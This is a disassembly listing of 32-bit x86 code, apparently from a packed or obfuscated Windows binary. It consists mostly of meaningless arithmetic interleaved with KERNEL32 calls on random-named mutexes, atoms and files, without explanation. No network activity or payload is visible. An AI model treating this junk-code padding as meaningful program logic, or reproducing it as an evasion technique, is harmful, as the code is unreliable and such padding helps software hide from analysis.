movzx edx, byte [0x100b71ea]
movzx ecx, byte [ebp - 0x1fd]
shl edx, cl
mov eax, dword [ebp - 0x3e3c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3d3c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3e84]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x5a4], dx
mov dword [0x100ba3ec], 0x100b979c
mov edx, dword [0x100b9f34]
mov eax, dword [ebp - 0x3ea0]
xor eax, dword [edx]
mov dword [ebp - 0x3c38], eax
mov ecx, dword [ebp - 0x35bc]
mov dx, word [ecx]
mov word [ebp - 0x138c], dx
mov eax, dword [ebp - 0x3ed4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3d1c]
mov dword [0x100ba3a0], ecx
movsx edx, byte [ebp - 0x2a4]
mov eax, dword [0x100b9b5c]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3b88]
mov byte [eax], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba3f0], eax
mov ecx, dword [ebp - 0x3ca0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x46]
sar edx, cl
mov byte [0x100b71ee], dl
movzx eax, word [ebp - 0x1280]
cdq
mov ecx, 0x875
idiv ecx
mov word [ebp - 0xab4], ax
mov edx, dword [ebp - 0x3340]
sub edx, dword [ebp - 0x3f10]
mov eax, dword [ebp - 0x3628]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3ba0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3730]
shl edx, cl
mov eax, dword [0x100b96d4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3e20]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x370c]
movsx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x362c]
mov word [eax], dx
movsx ecx, byte [ebp - 0x120]
mov edx, dword [0x100b9ab4]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x222], cl
mov ecx, dword [ebp - 0x3e10]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3f38]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [0x100b9d18]
mov byte [eax], dl
lea ecx, [ebp - 0xf1]
mov dword [ebp - 0x3f58], ecx
mov edx, dword [0x100b9584]
mov eax, dword [0x100ba23c]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x3958], eax
mov cx, word [ebp - 0xda8]
mov word [0x100ba3f4], cx
mov edx, dword [ebp - 0x3710]
mov ax, word [edx]
mov word [ebp - 0x1390], ax
push 1
push 0x100ba188
mov ecx, dword [ebp - 0x9838]
push ecx
mov edx, dword [ebp - 0x983c]
push edx
mov eax, dword [0x100b981c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3828], eax
mov ecx, dword [0x100b958c]
mov edx, dword [ebp - 0x3db4]
xor edx, dword [ecx]
mov dword [ebp - 0x37ec], edx
lea eax, [ebp - 0x1a5]
mov dword [0x100ba3f8], eax
movsx edx, byte [ebp - 0x21e]
mov eax, dword [ebp - 0x3f18]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x2a5], dl
mov ecx, dword [0x100b98e0]
mov edx, dword [ecx]
mov dword [ebp - 0x3f5c], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba3fc], eax
mov eax, dword [ebp - 0x3ccc]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9af4], eax
movzx ecx, word [ebp - 0x1200]
mov edx, dword [0x100ba018]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [0x100ba0e0]
mov word [edx], cx
mov eax, dword [ebp - 0x3e94]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x37f0]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x3be8]
mov word [edx], cx
movzx eax, word [ebp - 0x1280]
mov ecx, dword [ebp - 0x3570]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x1098], ax
push str.M291_LT4C
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1394], ax
push 0x100ba400
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x100a5ebc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1398], ax
lea eax, [ebp - 0x274]
mov dword [0x100ba424], eax
push 0x2f07
push 0x13e
push 0x1ce8
push 0x3a0f
mov ecx, dword [ebp - 0x388c]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100ba35c], eax
mov edx, dword [ebp - 0x2af4]
imul edx, dword [0x100b9c70]
mov eax, dword [ebp - 0x3e40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c90]
mov dword [ebp - 0x3f60], ecx
mov edx, dword [ebp - 0x371c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3d44]
movsx ecx, byte [ecx]
cdq
idiv ecx
mov edx, dword [0x100b9654]
mov byte [edx], al
mov eax, dword [0x100ba3ac]
movzx edx, word [eax]
mov eax, dword [0x100b9ba8]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xfa4], dx
mov ecx, dword [ebp - 0x3e18]
movsx edx, word [ecx]
movsx eax, word [0x100b72ec]
xor edx, eax
mov ecx, dword [ebp - 0x3b0c]
mov word [ecx], dx
mov edx, dword [ebp - 0x35f0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17c]
add eax, ecx
mov byte [0x100b71ef], al
lea edx, [ebp - 0x257]
mov dword [ebp - 0x3f64], edx
lea eax, [ebp - 0x9c28]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x100ba428
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3ba0]
mov edx, dword [0x100ba36c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x3964]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3f68], eax
mov edx, dword [0x100ba0b8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3340]
mov ecx, dword [0x100ba234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3d20]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x271]
shl eax, cl
mov byte [ebp - 0x8b], al
push 0
push 2
push 3
push 0
push 8
push 0xc0000000
push str.809RCxz7Ktq3hwK
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba44c], eax
movzx ecx, word [ebp - 0x11f8]
mov edx, dword [0x100b9544]
movzx eax, word [edx]
imul ecx, eax
mov word [ebp - 0x130c], cx
lea ecx, [ebp - 0x123c]
mov dword [0x100ba450], ecx
movzx edx, byte [ebp - 0x46]
mov eax, dword [ebp - 0x33e4]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x2f], dl
mov edx, dword [ebp - 0x2d84]
mov dword [ebp - 0x3f6c], edx
movzx eax, word [ebp - 0x1264]
mov ecx, dword [0x100ba3ac]
movzx edx, word [ecx]
or eax, edx
mov word [0x100ba290], ax
mov eax, dword [ebp - 0x3b1c]
mov ecx, dword [0x100b96e4]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x3944], edx
movsx eax, byte [ebp - 0x2ab]
movsx ecx, byte [str.M_v_]
add eax, ecx
mov byte [ebp - 0x1ee], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3738], eax
mov edx, dword [0x100ba15c]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba454], eax
lea eax, [ebp - 0x9d48]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x3e78
push 0x2bb2
push 0xf1
mov ecx, dword [ebp - 0x36a4]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [0x100b9ffc], eax
lea edx, [ebp - 0xee8]
mov dword [0x100ba458], edx
movzx eax, byte [0x100b712f]
mov ecx, dword [ebp - 0x3f38]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3904]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3f70], eax
push str.M4YX
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba45c], ax
mov edx, dword [0x100b9ed4]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x100b9f28]
mov ecx, dword [eax]
mov dword [ebp - 0x3f74], ecx
lea edx, [ebp - 0x9d60]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba460], eax
movsx eax, byte [0x100b7efa]
mov ecx, dword [ebp - 0x35c4]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7f46], al
lea edx, [ebp - 0x9d48]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x1334]
mov dword [ebp - 0x3f78], eax
push 0x22fc
push 0
lea ecx, [ebp - 0x3ac4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9844], eax
push 0
push 8
push 5
push 0
push 2
push 0x80000000
push str.TBTANnH5IYBBjd
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3f7c], eax
push 0x264e
push 0x393b
push 0x554
push 0x1700
mov edx, dword [0x100b99a4]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [0x100ba464], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b18], eax
mov eax, dword [ebp - 0x3d58]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3c44]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3a18]
mov word [edx], cx
push 0
push 0x20
push 3
push 0
push 8
push 0x80000000
push str.BE7vwLonNjwQGjnyfrrVbfa7
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3f80], eax
mov eax, dword [0x100b94fc]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 0x2c7c]
mov dword [0x100ba468], ecx
mov edx, dword [ebp - 0x39a4]
movsx eax, word [edx]
mov ecx, dword [0x100b9880]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x391c]
mov word [ecx], ax
lea edx, [ebp - 0x91]
mov dword [ebp - 0x3f84], edx
mov eax, dword [ebp - 0x3458]
mov ecx, dword [ebp - 0x2b48]
sar eax, cl
mov dword [0x100b9ee8], eax
mov dword [ebp - 0x3f88], str.i3
movzx ecx, word [ebp - 0x11a8]
mov edx, dword [0x100ba33c]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1300], cx
lea ecx, [ebp - 0x8d0]
mov dword [0x100ba46c], ecx
mov dword [ebp - 0x3f8c], 0x100b7f2b
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push str.gBL_rkTLVht4xW
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba470], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3e78], eax
mov edx, dword [0x100ba1a0]
mov eax, dword [edx]
and eax, dword [ebp - 0x39c0]
mov dword [0x100b9c70], eax
mov ecx, dword [ebp - 0x3ae4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1140]
xor edx, eax
mov word [ebp - 0xfc4], dx
mov ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3cfc]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x390c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3900]
mov edx, dword [ebp - 0x355c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [0x100b72f4], eax
mov ecx, dword [0x100b9a2c]
mov dx, word [ecx]
mov word [ebp - 0x139c], dx
mov eax, dword [ebp - 0x36a8]
mov ecx, dword [ebp - 0x3b58]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3aa8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3d80]
movsx edx, word [ecx]
movsx ecx, word [0x100b9888]
sar edx, cl
mov eax, dword [0x100b9734]
mov word [eax], dx
mov ecx, dword [ebp - 0x3e74]
mov edx, dword [ebp - 0x3d98]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x3064], eax
mov ecx, dword [0x100ba310]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3740]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x290], dl
mov edx, dword [ebp - 0x3dcc]
movsx eax, byte [edx]
mov ecx, dword [0x100ba230]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x100b9c78]
mov byte [ecx], al
lea edx, [ebp - 0x15]
mov dword [ebp - 0x3f90], edx
mov eax, dword [0x100b9e9c]
add eax, dword [ebp - 0x37cc]
mov ecx, dword [ebp - 0x38b0]
mov dword [ecx], eax
mov dl, byte [ebp - 0x283]
mov byte [0x100b80e3], dl
lea eax, [ebp - 0x1180]
mov dword [ebp - 0x3f94], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3f98], eax
movzx edx, word [ebp - 0x1314]
movzx ecx, word [0x100b7228]
shl edx, cl
mov word [ebp - 0x84c], dx
mov eax, dword [ebp - 0x3860]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3c38]
mov dword [0x100ba28c], ecx
lea edx, [ebp - 0x1c9]
mov dword [ebp - 0x3f9c], edx
mov eax, dword [0x100ba0ec]
mov ecx, dword [eax]
mov dword [ebp - 0x3fa0], ecx
mov dword [0x100ba474], 0x100b7f2a
movzx edx, word [ebp - 0x1100]
mov eax, dword [0x100b9a2c]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1244], dx
lea ecx, [ebp - 0x1340]
mov dword [ebp - 0x3fa4], ecx
movsx edx, byte [ebp - 0x278]
mov eax, dword [ebp - 0x3e98]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b71f6], dl
push 0x603
push 0x2b93
push 0x16de
push 0x2c65
mov edx, dword [0x100b9500]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x3fa8], eax
movzx eax, word [0x100b9b9c]
movzx ecx, word [ebp - 0xab4]
add eax, ecx
mov word [ebp - 0x127c], ax
push 0
push 0x10
push 0
push 0
push 4
push 0x40000000
push str.2FOB9_tpZmkDkpGjtMR86R05dmgxzina1DpE
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba478], eax
mov edx, dword [ebp - 0x346c]
mov eax, dword [ebp - 0x3ef0]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2dc8], ecx
push 0
push 0x11a1
push 0x1cb0
push 0x6067
push 1
mov edx, dword [0x100b9e7c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3668], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3fac], eax
mov eax, dword [0x100b975c]
mov ecx, dword [ebp - 0x3a1c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [0x100b9dd4], edx
push str.AoUfX_WT_Nx9I
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba47c], ax
mov eax, dword [ebp - 0x3d84]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3524]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x4e], cl
mov ecx, dword [ebp - 0x3840]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0xca8]
shl edx, cl
mov word [ebp - 0x56c], dx
mov eax, dword [ebp - 0x3ec0]
movsx edx, byte [eax]
movsx ecx, byte [0x100b7186]
sar edx, cl
mov byte [0x100b7f46], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba480], eax
lea eax, [ebp - 0x1148]
mov dword [ebp - 0x3fb0], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3e1c], eax
mov ecx, dword [ebp - 0x2c90]
mov dword [ebp - 0x3fb4], ecx
mov edx, dword [0x100b9f34]
mov eax, dword [edx]
mov dword [0x100ba484], eax
movzx ecx, byte [ebp - 0x158]
movzx edx, byte [0x100b71af]
xor ecx, edx
mov byte [ebp - 0x3e], cl
push 0x100b9768
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0x34d0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x21e]
add ecx, edx
mov byte [ebp - 0x43], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3fb8], eax
mov eax, dword [ebp - 0x3ccc]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 0x3ae4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x6bc]
and edx, eax
mov word [0x100b9974], dx
lea ecx, [ebp - 0x1228]
mov dword [ebp - 0x3fbc], ecx
push str.6EJz_SQoma7_bcFDlCs_UYSeRBn
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba488], ax
mov edx, dword [0x100ba14c]
xor edx, dword [ebp - 0x3d94]
mov eax, dword [ebp - 0x366c]
mov dword [eax], edx
lea ecx, [ebp - 0x43]
mov dword [0x100ba48c], ecx
mov edx, dword [ebp - 0x3454]
movzx eax, byte [edx]
mov ecx, dword [0x100b9664]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x128], al
movzx eax, word [0x100ba280]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13a0], ax
push 0
push 0x100b9810
mov ecx, dword [ebp - 0x9840]
push ecx
mov edx, dword [ebp - 0x9844]
push edx
mov eax, dword [0x100b99a4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3668], eax
mov ecx, dword [ebp - 0x3e74]
mov edx, dword [ecx]
mov ecx, dword [0x100b72d4]
shl edx, cl
mov dword [ebp - 0x3730], edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba490], eax
movzx eax, word [ebp - 0x112c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba494], ax
push 0x1864
push 0x312e
push 0x221c
push 0x1e9b
mov ecx, dword [ebp - 0x3de0]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3fc0], eax
push 0x100b9d3c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0xfc2
push 0x370
push 0x6bda
push 2
mov edx, dword [0x100b9b0c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3fc4], eax
movzx eax, word [ebp - 0xd80]
movzx ecx, word [0x100b9b9c]
sar eax, cl
mov word [0x100b7218], ax
push str.7D2aGFB_W5Wrbc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba498], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3924], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba49c], eax
mov ecx, dword [ebp - 0x3f0c]
mov dx, word [ecx]
mov word [ebp - 0x13a4], dx
push 0xbab
push 0x95b
push 0x3439
push 0xc05
mov eax, dword [ebp - 0x36c4]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100b9674], eax
mov ecx, dword [ebp - 0x3f34]
mov edx, dword [ecx]
add edx, dword [0x100b983c]
mov dword [ebp - 0x3068], edx
mov eax, dword [ebp - 0x3b00]
movsx ecx, byte [eax]
mov edx, dword [0x100b9ab4]
movsx eax, byte [edx]
and ecx, eax
mov byte [0x100b71f7], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3fc8], eax
mov ecx, dword [ebp - 0x3c94]
movzx edx, byte [ecx]
movzx eax, byte [0x100b7df6]
xor edx, eax
mov byte [ebp - 0x249], dl
push 0x100b9e80
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3fcc], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3464], eax
movzx ecx, word [ebp - 0x11cc]
mov edx, dword [0x100ba3ac]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x1330], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba4a0], eax
movzx ecx, word [ebp - 0x1280]
movzx edx, word [ebp - 0x1184]
add ecx, edx
mov word [0x100ba290], cx
mov eax, dword [ebp - 0x2bf4]
mov dword [ebp - 0x3fd0], eax
movsx ecx, word [0x100b7214]
movsx edx, word [ebp - 0x1214]
sub ecx, edx
mov word [ebp - 0xbec], cx
mov eax, dword [0x100ba010]
mov ecx, dword [ebp - 0x3b74]
or ecx, dword [eax]
mov dword [0x100b72f8], ecx
movsx edx, byte [ebp - 0x21e]
mov eax, dword [ebp - 0x3b10]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x69], dl
movzx edx, byte [ebp - 0x2f]
mov eax, dword [0x100ba2cc]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100b9be4]
mov byte [ecx], dl
lea edx, [ebp - 0x1310]
mov dword [ebp - 0x3fd4], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3efc], eax
mov eax, dword [ebp - 0x3910]
mov ecx, dword [0x100b94a4]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x3b90]
mov dword [eax], edx
lea ecx, [ebp - 0x36b8]
mov dword [0x100ba4a4], ecx
mov edx, dword [ebp - 0x370c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xbe8]
add eax, ecx
mov edx, dword [ebp - 0x3be8]
mov word [edx], ax
mov eax, dword [0x100ba198]
movsx ecx, byte [eax]
mov edx, dword [0x100b99cc]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x178], cl
lea ecx, [ebp - 0x99]
mov dword [0x100ba4a8], ecx
push 0x100a6058
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba4ac], ax
mov edx, dword [ebp - 0x3c54]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3bb4]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x1ab], al
mov dword [ebp - 0x3fd8], 0x100b72f4
mov edx, dword [ebp - 0x3a10]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x12c4]
shl eax, cl
mov word [0x100b99e8], ax
mov ecx, dword [ebp - 0x3cb0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x12e4]
or edx, eax
mov ecx, dword [ebp - 0x3914]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9d30], eax
mov edx, dword [ebp - 0x3d18]
mov eax, dword [edx]
mov dword [ebp - 0x3fdc], eax
mov dword [0x100ba4b0], 0x100b7167
mov ecx, dword [ebp - 0x38d8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x39d0]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x3ec0]
mov byte [eax], dl
mov ecx, dword [0x100ba2a0]
mov eax, dword [ebp - 0x2e00]
cdq
idiv dword [ecx]
mov dword [ebp - 0x2d04], eax
movzx edx, word [ebp - 0x12a8]
movzx eax, word [ebp - 0x12c8]
add edx, eax
mov word [0x100b71e8], dx
push str.uTN7EC3.3wCwd_sp
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13a8], ax
movsx ecx, word [ebp - 0xbec]
movsx edx, word [ebp - 0x12dc]
and ecx, edx
mov eax, dword [ebp - 0x3ce4]
mov word [eax], cx
mov ecx, dword [ebp - 0x3b34]
mov dx, word [ecx]
mov word [ebp - 0x13ac], dx
mov eax, dword [ebp - 0x3904]
mov cl, byte [eax]
mov byte [0x100b80e6], cl
lea edx, [ebp - 0x3604]
mov dword [ebp - 0x3fe0], edx
push 0x100ba4b4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x9c70]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x100b9584]
mov edx, dword [ebp - 0x3b4c]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x3748], edx
mov eax, dword [ebp - 0x3c54]
movsx ecx, byte [eax]
movsx edx, byte [0x100b7f27]
xor ecx, edx
mov byte [0x100b71c7], cl
push str.IOjK_zGBz3YCnc6A
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13b0], ax
mov ax, word [ebp - 0xda8]
mov word [ebp - 0x13b4], ax
mov ecx, dword [ebp - 0x3e18]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3988]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x362c]
mov word [eax], dx
movsx edx, byte [0x100b714b]
movsx ecx, byte [0x100b7f46]
shl edx, cl
mov byte [0x100b71fe], dl
push 0x100b9f38
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x3e3c]
movzx ecx, byte [eax]
movzx edx, byte [0x100b719b]
or ecx, edx
mov byte [ebp - 0x268], cl
push 0x1f32
push 0
lea eax, [ebp - 0x3dbc]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9ba0], eax
mov ecx, dword [ebp - 0x33fc]
mov edx, dword [0x100b9550]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x30c0], eax
mov ecx, dword [ebp - 0x2c04]
and ecx, dword [0x100b9b18]
mov dword [0x100ba1a8], ecx
movsx edx, byte [ebp - 0x1c9]
movsx ecx, byte [ebp - 0x120]
sar edx, cl
mov byte [ebp - 0x8b], dl
movzx eax, word [ebp - 0x6d0]
cdq
mov ecx, 0x3d
idiv ecx
mov word [ebp - 0xfb0], ax
lea edx, [ebp - 0x5c0]
mov dword [0x100ba4d8], edx
push 0x100a6084
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13b8], ax
mov eax, dword [ebp - 0x3f64]
mov cl, byte [eax]
mov byte [ebp - 0x2af], cl
push 0
push 0x100
push 5
push 0
push 4
push 0x80000000
push str.bgF6QG_nXjTplBWnEmg
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba4dc], eax
mov edx, dword [0x100b9f28]
mov eax, dword [ebp - 0x2dc0]
xor eax, dword [edx]
mov dword [ebp - 0x33d4], eax
mov ecx, dword [ebp - 0x3918]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x35fc]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100b9d1c]
mov word [ecx], dx
lea edx, [ebp - 0x38e4]
mov dword [ebp - 0x3fe4], edx
movsx eax, byte [ebp - 0x298]
mov ecx, dword [ebp - 0x3b00]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x29b], al
mov ax, word [ebp - 0x1140]
mov word [0x100ba4e0], ax
movzx ecx, byte [0x100b7e57]
movzx edx, byte [ebp - 0x99]
and ecx, edx
mov byte [ebp - 2], cl
movzx eax, word [0x100b9944]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13bc], ax
mov ecx, dword [0x100b9bc0]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2d38]
mov eax, dword [ebp - 0x3fd8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x39b0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x73]
xor edx, eax
mov byte [0x100b7e6a], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba4e4], eax
lea ecx, [ebp - 0x130c]
mov dword [ebp - 0x3fe8], ecx
lea edx, [ebp - 0x9d30]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x35fc]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3e54]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xdf0], dx
push 0
push 0x40
push 5
push 0
push 2
push 0x40000000
push str.2BZoBgpGVRBVq5Y
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba4e8], eax
mov ecx, dword [ebp - 0x36bc]
mov edx, dword [ecx]
add edx, dword [0x100b7274]
mov eax, dword [0x100b96d4]
mov dword [eax], edx
lea ecx, [ebp - 0x768]
mov dword [ebp - 0x3fec], ecx
mov edx, dword [0x100ba424]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3d84]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3740]
mov byte [ecx], al
mov edx, dword [0x100ba0ec]
mov eax, dword [edx]
sub eax, dword [0x100b724c]
mov dword [0x100b72fc], eax
mov cl, byte [ebp - 0x2a6]
mov byte [ebp - 0x2b0], cl
movzx edx, word [ebp - 0x97c]
movzx ecx, word [ebp - 0xda8]
shl edx, cl
